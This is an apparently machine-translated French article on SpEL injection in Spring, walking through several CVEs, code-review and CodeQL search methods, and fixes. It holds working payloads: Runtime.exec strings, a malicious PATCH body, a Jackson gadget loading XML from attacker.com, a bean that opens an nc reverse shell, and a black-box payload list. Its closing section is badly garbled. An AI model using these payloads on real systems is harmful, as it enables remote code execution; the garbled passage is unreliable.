Injection de spels


Intro


En travaillant et en recherchant divers services, nous pouvons de plus en plus respecter le cadre de printemps. Et l'étape logique consiste à se familiariser avec sa structure et ses éventuelles vulnérabilités.


Les vulnérabilités qui conduisent à l'exécution de code sont les plus intéressantes pour tout Pentester.


Une façon d'obtenir RCE au printemps est d'injecter des expressions SpEL.


Dans cet article, nous allons essayer de comprendre ce qu'est le SpEL, où il peut être trouvé, quelles sont les caractéristiques d'utilisation et comment trouver de telles injections.


Quoi?


SpEL est un langage d'expression créé pour Spring Framework qui prend en charge les requêtes et la gestion graphique des objets lors de l'exécution.
Il est également important de noter que SpEL a été créé en tant qu'API qui vous permet de l'intégrer dans d'autres applications et frameworks.


Où puis-je me rencontrer?


Il est logique que le Spring Framework SpEL soit utilisé en permanence. Un bon exemple est Spring Security, où les droits sont attribués à l'aide d'expressions SpEL:


@PreAuthorize("hasPermission(#contact, 'admin')") public void deletePermission(Contact contact, Sid recipient, Permission permission); 


Apache Camel utilise l'API SpEL; Voici des exemples de sa documentation.
Formation de lettres à l'aide d'expressions SpEL:


 <route> <from uri="direct:foo"/> <filter> <spel>#{request.headers['foo'] == 'bar'}</spel> <to uri="direct:bar"/> </filter> </route> 

Ou vous pouvez utiliser une règle à partir d'un fichier externe, par exemple, pour spécifier un en-tête:


 .setHeader("myHeader").spel("resource:classpath:myspel.txt") 

Voici quelques exemples vus sur GitHub:
https://github.com/jpatokal/openflights



https://github.com/hbandi/LEP



Cadre Spring et principes de base de SpEL


Pour que le lecteur comprenne mieux ce que sont les injections SpEL, vous devez vous familiariser un peu avec Spring et SpEL.


Un élément clé du Spring Framework est le Spring Container. Un conteneur crée des objets, les relie, les configure et les gère de la création à la destruction.


Pour contrôler les composants qui composent l'application, Spring Container utilise
Injection de dépendance. C'est lorsque les objets sont configurés à l'aide d'entités externes appelées Spring Beans - familièrement appelés "beans".


Spring Container récupère les métadonnées de configuration du bean qui sont nécessaires pour obtenir les informations suivantes: des instructions sur les objets à instancier et comment les configurer via des métadonnées.


Les métadonnées peuvent être obtenues de 3 manières:


  • XML
  • Annotations Java
  • Code Java

Et un autre point important pour nous est le contexte d'application.


ApplicationContext est l'interface principale d'une application Spring qui fournit des informations de configuration d'application. Il est en lecture seule au moment de l'exécution, mais peut être rechargé si nécessaire et pris en charge par l'application. Le nombre de classes qui implémentent l'interface ApplicationContext est disponible pour divers paramètres de configuration et types d'application. En fait, c'est l'application Spring elle-même. Le contexte offre également la possibilité de répondre à divers événements qui se produisent dans l'application et de contrôler le cycle de vie des beans.



Attardons-nous maintenant directement sur les méthodes de définition d'un bean et d'utilisation des expressions SpEL.


Bean.xml


Un exemple d'utilisation typique est l'intégration de SpEL dans la création de XML ou de définitions annotées de composants de bean:


 <bean id=“exmple" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/> <property name="defaultLocale2" value="${user.region}"/> </bean> 

Voici une partie du code du fichier Bean.xml, pour un seul de ses beans. Il convient de prêter attention à l'id du bac, par lequel il est accessible, et aux propriétés. Parce que Dans le cadre de cet article, nous envisageons la possibilité d'utiliser SpEL, puis dans l'exemple, plusieurs options pour écrire de telles expressions seront données.


Pour indiquer à Spring que les expressions SpEL viennent ensuite, le caractère # est utilisé et l'expression elle-même est placée entre accolades: #{SpEL_expression} . Les propriétés peuvent être référencées à l'aide du caractère $ et en encadrant le nom de la propriété entre accolades: ${someProperty} . Les espaces réservés de propriété ne peuvent pas contenir d'expressions SpEL, mais les expressions peuvent contenir des références de propriété:


 "#{${someProperty}" 

Ainsi, vous pouvez appeler n'importe quelle classe Java dont nous avons besoin ou, par exemple, accéder aux variables d'environnement, qui peuvent être utiles pour déterminer le nom d'utilisateur ou la version du système.


La commodité de cette méthode de spécification des beans est la possibilité de les modifier sans recompiler l'application entière, modifiant ainsi le comportement de l'application.


Depuis l'application elle-même, vous pouvez accéder à ce bean en utilisant l'interface ApplicationContext, comme indiqué ci-dessous:


 ApplicationContext ctx = new ClassPathXmlApplicationContext(“Bean.xml”); MyExpression example = ctx.getBean(“example", MyExpression.class); " + "System.out.println(“Number : " + example.getValue()); System.out.println(“Locale : " + example.getDefaultLocale()); System.out.println(“Locale : " + example.getDefaultLocale2()); 

C'est-à-dire à l'intérieur de l'application, nous obtenons simplement les valeurs des paramètres bin qui contiennent des expressions SpEL. Spring, ayant reçu une telle valeur, exécute l'expression et renvoie le résultat final. N'oubliez pas non plus que ce code ne fonctionnera pas sans les getters correspondants, mais que leur description dépasse le cadre de l'article.


Une autre façon de spécifier les beans est la méthode d'annotation AnnotationBase - les valeurs des paramètres sont définies à l'intérieur de l'annotation pour certaines classes. Dans ce cas, l'utilisation de variables n'est pas possible.


 public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } } 

Pour pouvoir utiliser des variables, lors de la création d'expressions SpEL, nous devons utiliser l'interface ExpressionParser. Et puis une classe apparaît dans le code d'application, semblable à l'exemple suivant:


 public void parseExpressionInterface(Person personObj,String property) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(property+" == 'Input'"); StandardEvaluationContext testContext = new StandardEvaluationContext(personObj); boolean result = exp.getValue(testContext, Boolean.class); 

ExpressionParser convertit une expression de chaîne en un objet Expression. Ainsi, la valeur de l'expression analysée peut être obtenue dans le cadre de EvaluationContext. Ce EvaluationContext sera le seul objet à partir duquel toutes les propriétés et variables de la chaîne EL seront disponibles.


Il convient de noter un autre fait important. Avec cette méthode d'utilisation de SpEL, il suffit que l'expression de chaîne contienne # si, en plus de l'expression elle-même, elle contient des littéraux de chaîne.


De tout ce qui précède, il convient de se rappeler deux choses:
1) S'il est possible de rechercher par code d'application, vous devez rechercher ces mots clés: SpelExpressionParser, EvaluationContext et parseExpression.
2) Pointeurs importants pour Spring #{SpEL} , ${someProperty} et T(javaclass)
Si vous souhaitez en savoir plus sur Spring et SpEL, nous vous recommandons de faire attention à la documentation docs.spring.io .


Que peut faire SpEL?


Selon la documentation, SpEL prend en charge les fonctionnalités suivantes:


  • Expressions littérales
  • Opérateurs booléens et relationnels
  • Expressions régulières
  • Expressions de classe
  • Accès aux propriétés, tableaux, listes, cartes
  • Appel de méthode
  • Opérateurs relationnels
  • Affectation
  • Appel des constructeurs
  • Références Bean
  • Construction de la baie
  • Listes en ligne
  • Cartes en ligne
  • Opérateur ternaire
  • Variables
  • Fonctions définies par l'utilisateur
  • Projection de collection
  • Sélection de collection
  • Expressions modèles

Comme nous pouvons le voir, la fonctionnalité SpEL est très riche, ce qui peut nuire à la sécurité du projet si l'entrée utilisateur entre dans ExpressionParser. Par conséquent, Spring lui-même recommande d'utiliser, au lieu d'un StandardEcalutionContext entièrement fonctionnel, un SimpleEvaluationContext plus allégé.


En bref, de l'importance pour nous, SimpleEvaluationContext n'a pas la capacité d'accéder aux classes Java et de référencer d'autres beans.


Une description complète des fonctionnalités est mieux explorée sur le site Web de documentation:
StandardEvaluationContext
SimpleEvaluationContext


Certaines corrections sont même basées sur la différence de fonctionnalité de SpEL, qui s'exécute dans différents contextes, mais nous en reparlerons un peu plus tard.


Pour que tout soit vraiment clair, nous donnons un exemple. Nous avons une ligne clairement malveillante contenant une expression SpEL:


 String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')"; 

Et il y a deux contextes:


 StandardEvaluationContext std_c = new StandardEvaluationContext(); 

et


 EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build(); 

Expression exp = parser.parseExpression (inj);
java exp.getValue(std_c); - la calculatrice sera lancée
java exp.getValue(simple_c); - nous obtiendrons un message d'erreur


Un point tout aussi intéressant est que nous pouvons commencer à traiter l'expression sans spécifier aucun contexte: exp.getValue();
Dans ce cas, l'expression sera exécutée dans le contexte standard et, par conséquent, le code malveillant sera exécuté. Par conséquent, si vous êtes un programmeur et utilisez Spring, n'oubliez jamais de définir le contexte dans lequel l'expression doit s'exécuter.


Nous avons dit un peu plus tôt que certaines corrections sont basées sur les différences entre les capacités SpEL dans les contextes. Prenons un exemple d'un tel correctif.


CVE 2018-1273 Spring Data Commons
Cette vulnérabilité a été trouvée dans la méthode setPropertyValue et était basée sur deux problèmes:
1) Assainissement insuffisant des valeurs de la variable qui tombe dans ExpressionParser.
2) Exécution de l'expression dans le cadre du contexte standard.


Voici une capture d'écran de la partie vulnérable du code:



Parce que le nom de la propriété ne nécessitait pas de traitement complexe dans le cadre de SpEL; la solution logique était de remplacer le contexte, résultant en le code suivant:



Les captures d'écran montrent les parties du code qui définissent le contexte et l'expression qui seront exécutées. Mais l'exécution de l'expression se produit ailleurs:


 expression.setValue(context, value); 

C'est ici qu'il est indiqué que nous exécutons une expression SpEL pour la valeur de valeur dans le contexte donné.
L'utilisation de SimpleEvaluationContext a aidé à protéger contre l'implémentation de Java Class dans parseExpression, et maintenant au lieu d'exécuter du code dans le journal du serveur, nous verrons une erreur:


 Type cannot be found 'java.lang.Runtime' 

Mais cela n'a pas résolu le problème avec le manque d'assainissement suffisant et a conservé la capacité de mener une attaque redos:


 curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test" 

Par conséquent, le correctif suivant incluait déjà le nettoyage du nom du paramètre.


De la théorie à la pratique!


Examinons maintenant plusieurs façons de rechercher une injection SpEL à l'aide de la méthode White Box.


Étape par étape CVE-2017-8046


Vous devez d'abord trouver un endroit pour traiter les expressions SpEL. Pour ce faire, vous pouvez simplement utiliser notre recommandation et trouver des mots clés dans le code. Rappelez-vous ces mots: SpelExpressionParser, EvaluationContext et parseExpression.


Une autre option consiste à utiliser divers plugins pour trouver des erreurs dans le code. Jusqu'à présent, le seul plugin qui pointe vers une éventuelle injection de SpEL était findecbugs-cli.
https://github.com/find-sec-bugs


Nous avons donc trouvé l'endroit qui nous intéresse dans le code. Disons que l'utilisation de findecbugs-cli:



Dans le code d'application, nous verrons ce qui suit:


 public class PathToSpEL { private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser(); static final List<String> APPEND_CHARACTERS = Arrays.asList("-"); /** * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. * @return an {@link Expression} */ public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); } 

L'étape suivante consiste à découvrir où la variable de chemin entre dans l'analyseur d'expression. L'un des moyens plutôt pratiques et gratuits serait d'utiliser la fonction IntelijIdea IDE - Analyze Dataflow:



En déroulant la chaîne, par exemple, pour remplacer et étudier les méthodes et classes spécifiées, nous obtenons ce qui suit:


La méthode ReplaceOperation prend la valeur de la variable de chemin.


 public ReplaceOperation(String path, Object value) { super("replace", path, value); } 

Et pour appeler la méthode replace, vous devez passer la variable «op» avec la valeur «replace» à JSON.


 JsonNode opNode = elements.next(); String opType = opNode.get("op").textValue(); else if (opType.equals("replace")) { ops.add(new ReplaceOperation(path, value)); 

De même, nous trouvons tous les endroits où l'utilisateur peut transmettre la valeur dont il a besoin à la variable path. Et puis l'une des options d'exploitation de la vulnérabilité ressemblera à ceci:
Méthode de demande: PATCH
Organe de demande:


 [{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }] 

Utilisation de LGTM QL


L'utilisation de LGTM QL (pour les besoins de cet article, nous le réduisons simplement à QL) est une autre façon intéressante de rechercher des vulnérabilités.
https://lgtm.com


Il devrait immédiatement stipuler son absence. Vous pouvez analyser gratuitement les projets qui se trouvent dans des référentiels ouverts sur GitHub, car Pour prendre une photo du projet, LGTM télécharge le projet sur son serveur et le compile là. Mais si cela ne vous dérange pas, le LGTM QL vous ouvrira de grandes opportunités dans l'analyse du code d'application.


Qu'est-ce que l'analyse d'application QL?


Pour commencer, comme nous l'avons déjà dit, vous devrez créer un instantané de l'application.


Lorsque l'instantané est prêt, et cela peut prendre plusieurs heures, vous pouvez commencer à écrire une requête de type SQL dans le cadre de la syntaxe QL. Pour ce faire, vous pouvez utiliser le plugin pour Eclipse ou agir directement dans la console sur la page QL du projet.


Parce que Maintenant, nous considérons Spring, et c'est le cadre de Java, vous devrez décrire la classe qui vous intéresse et la méthode de cette classe, dont l'appel est considéré comme vulnérable. Pour nous, c'est n'importe quelle classe qui contient une méthode qui appelle ExpressionParser.


Ensuite, nous faisons une sélection de toutes les méthodes qui répondent à nos exigences, par exemple, en décrivant l'occurrence d'une variable dans une méthode qui assainirait et la condition de ne pas tomber dans cette méthode.



Alors, que faut-il faire pour trouver la vulnérabilité CVE 2018-1273?
Après avoir reçu et connecté l'image du projet, nous utilisons la console QL pour décrire l'arborescence d'appels qui nous intéresse. Pour ce faire:
Nous décrivons la classe de l'analyseur d'expression:


 class ExpressionParser extends RefType { ExpressionParser() { this.hasQualifiedName("org.springframework.expression", "ExpressionParser") } } 

Et les méthodes qui peuvent être utilisées pour l'exécution dans la classe ExpressionParser:


 class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } } 

Vous devez maintenant connecter ces descriptions entre elles et faire une sélection:


 from ParseExpression expr where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser) select expr 

Une telle requête renverra toutes les méthodes commençant par parse ou avec le nom doParseExpression qui appartiendront à la classe ExpressionParser. Mais c'est trop, dites-vous, et vous aurez raison. Un filtre est requis.


Parce que dans le code il y a un commentaire du formulaire:


 * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. 

Cela pourrait être, par exemple, une recherche de «chemin» dans Javadoc. Spring commente son code dans une très haute qualité, et nous pouvons trouver des appels de méthode avec le commentaire nécessaire, et en même temps supprimer toutes les méthodes incluses dans les tests. Tout cela peut être décrit comme suit:


 class CallHasPath extends Callable { CallHasPath() { not this.getDeclaringType() instanceof TestClass and ( this.getDoc().getJavadoc() instanceof DocHasPath or this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath ) } } 

Ensuite, pour combiner la classe, les méthodes et le filtre par Javadoc, la requête pour la sélection prendra la forme suivante:


 from ParseExpression expr, CallHasPath c where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and c = expr.getEnclosingCallable()) select expr, c 

Cet exemple peut être considéré comme simple et, en général, redondant pour rechercher une vulnérabilité spécifique. La recherche d'erreurs lors de l'écriture d'un correctif est beaucoup plus intéressante, car vous devez spécifier la classe elle-même, qui est responsable de la vérification, les méthodes qui l'appellent toujours et qui sont exécutées avant d'être vérifiées.


Un appel à une méthode qui appelle toujours verifyPath:


 class VerifyPathCallerAccess extends MethodAccess { VerifyPathCallerAccess() { exists(VerifyPathActionConf conf | conf.callAlwaysPerformsAction(this) ) or this.getMethod() instanceof VerifyPath } } 

Un appel à une méthode qui s'exécute avant verifyPath:


 class UnsafeEvaluateCall extends MethodAccess { UnsafeEvaluateCall() { ( this.getMethod() instanceof Evaluate or exists(UnsafeEvaluateCall unsafe | this.getMethod() = unsafe.getEnclosingCallable() ) ) and not exists(VerifyPathCallerAccess verify | dominates(verify, this) ) } } 

Prenons une autre vulnérabilité intéressante. Sa compréhension est très importante, car il montre que l'erreur peut se trouver dans une bibliothèque tierce et montre comment les beans annotés XML peuvent être utilisés.


Jackson et haricot


CVE-2017-17485 est basé sur l'utilisation de FileSystemXmlApplicationContext - il s'agit d'un contexte d'application autonome sous forme de XML, qui reçoit des fichiers de définition de contexte du système de fichiers ou de l'URL.


Selon la documentation, cela vous permet de charger des beans à partir d'un fichier et de recharger le contexte de l'application.
"... Créer un nouveau FileSystemXmlApplicationContext, en chargeant les définitions à partir des fichiers XML donnés et en actualisant automatiquement le contexte"


Jackson est une bibliothèque qui vous permet de sérialiser et de désérialiser tous les objets à l'exception de ceux qui sont sur liste noire. Cette opportunité est souvent utilisée par les attaquants. Dans le cas de cette vulnérabilité, l'attaquant devait transmettre l'objet org.springframework.context.support.FileSystemXmlApplicationContext avec une valeur contenant le chemin d'accès au fichier contrôlé par l'attaquant.


C'est-à-dire dans le corps de la requête, vous pouvez transmettre le JSON suivant:


 {"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]} 

Spel.xml contiendra les paramètres bin:


 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list value-type="java.lang.String" > <value>nc</value> <value>XXXX</value> <value>9999</value> <value>-e</value> <value>/bin/sh</value> </list> </constructor-arg> <property name="whatever" value="#{pb.start()}"/> </bean> </beans> 

Parce que Puisque nous avons utilisé la classe de bean java.lang.ProcessBuilder, qui a une méthode de démarrage, après avoir rechargé le contexte, Spring lit l'expression qui démarre ProcessBuilder à partir de la propriété SpEL, forçant ainsi le serveur à se connecter à nous à l'aide de nc.


Il convient de prêter attention au spel.xml donné à titre d'exemple, comme il montre comment passer des paramètres lors de l'exécution de la commande.


Et de quelle autre manière pouvons-nous charger notre bean ou recharger le contexte?


Même avec un rapide coup d'œil à la documentation Spring, vous pouvez trouver quelques autres classes qui pourraient nous être utiles.


ClassPathXmlApplicationContext et AbstractXmlApplicationContext sont similaires à FileSystem, mais les beans annotés ClassPath et XML sont utilisés comme chemin d'accès à la configuration, respectivement.


Il y a un autre point intéressant lié au rechargement du contexte - @RefreshScope.


Tout Spring Bean annoté avec @RefreshScope sera mis à jour au moment du lancement. Et tous les composants qui l'utilisent recevront un nouvel objet la prochaine fois que la méthode sera appelée, ils seront entièrement initialisés et introduits en fonction.


RefreshScope est un composant en contexte, et il a une méthode publique refreshAll conçue pour mettre à jour tous les composants dans une zone en effaçant le cache cible. Par conséquent, lors de l'utilisation de @RefreshScope, l'utilisateur peut accéder à une URL se terminant par / refresh, et ainsi recharger les beans annotés.


Autres utilitaires


Il existe de nombreux autres plugins et programmes qui vous permettent d'analyser le code et de trouver la vulnérabilité.


  • Jprofiler - est installé comme une application distincte - serveur et plugin pour IDE. Vous permet d'analyser une application en cours d'exécution. Il est très pratique d'analyser le comportement des objets à l'aide de graphiques.


Parmi les inconvénients - payés, mais a une période libre de 10 jours. Il est considéré comme l'un des meilleurs utilitaires pour analyser le comportement des applications, non seulement du point de vue de la sécurité.


  • Xrebel - payé, nous n'avons pas trouvé la possibilité d'une période d'essai. Mais aussi considéré comme l'un des meilleurs.
  • Coverity - utilise ses propres serveurs pour l'analyse, il n'est donc pratique que pour ceux qui n'ont pas peur de présenter leur code.
  • Checkmarx - très célèbre, payé, connaît de nombreuses langues et supprime beaucoup de faux positifs. Mais il vaut mieux pointer l'endroit où la théorie peut avoir une erreur que de manquer une vraie erreur.
  • OWASP Dependency Check - fourni comme un plug-in pratique pour divers constructeurs. Nous avons réussi à le tester pour Maven et Ant lors de l'analyse d'une application Java. Prend également en charge .Net. Selon les résultats des travaux, il fournit un rapport pratique indiquant les bibliothèques obsolètes et les vulnérabilités qui leur sont connues.
  • Findbugs - il a déjà été mentionné plus tôt. Il a de nombreuses implémentations, mais l'option findbugs_cli s'est avérée la plus pratique et, pour une raison quelconque, présente plus de problèmes. Il peut être utilisé comme suit:
     findsecbugs.bat -progress -html -output report_name.htm "path\example.jar" 
  • LGTM QL - Un exemple de son utilisation a déjà été donné précédemment. Nous tenons à dire séparément qu'il existe également un cas d'utilisation payant, après quoi vous recevrez un serveur local pour analyser votre code.
    QL Java, .

Black Box


-, .
, : Spring, SpEL, , SpEL API, -, .


spring, URL, API. /metrics /beans — Spring Boot Actuator , .


, .


, SpEL , , .


  • : var[SpEL]=123
  • : &variable1=123&SpEL=
  • : org.springframework.cookie = ${}
  • ..

:


 ${1+3} T(java.lang.Runtime).getRuntime().exec("nslookup !url!") #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!') new java.lang.ProcessBuilder({'nslookup !url!'}).start() ${user.name} 

SpEL


SpEL , , EL Injection. : OGNL, MVEL, JBoss EL, JSP EL. - .



ZeroNights : “ , Spring, SpEL injection?”


, CVE, . , , github.


, , SpEL Expression. C'est-à-dire (, ) , .


C'est-à-dire . , , “” .

Source: https://habr.com/ru/post/fr433034/


All Articles